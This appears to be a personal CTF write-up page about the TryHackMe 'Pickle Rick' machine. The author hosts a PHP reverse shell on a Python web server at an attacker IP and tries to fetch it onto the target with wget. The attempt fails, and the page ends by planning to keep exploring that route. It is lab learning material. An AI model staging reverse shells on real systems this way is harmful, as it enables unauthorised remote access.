> For the complete documentation index, see [llms.txt](https://sgtdiddlywink.gitbook.io/thm/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sgtdiddlywink.gitbook.io/thm/machines/easy-machines/pickle-rick/exploitation/command-panel/python-webserver.md).

# Python Webserver

* I started up a python webserver:
  * `python3 -m http.server 8000`
  * I uploaded a reverse shell php file to it.
* From the target command line I then tried to download the file:
  * wget <http://10.6.35.78:8000/shell.php>
* When I checked the webserver it shows that it was downloaded but when I search for the file on the target machine, it's nowhere to be found. It's possible that it's getting removed.
* When looking in the current directory nothing is there and trying to just run it also did not work.
* I also tried redirecting the php file directly to the assets directory with the script below but no success:
  * `wget -qO - "https://example.com/myfile.txt" > "/path/to/destination/directory/myfile.txt"`
* <mark style="color:green;">**I should keep exploring this route.**</mark>
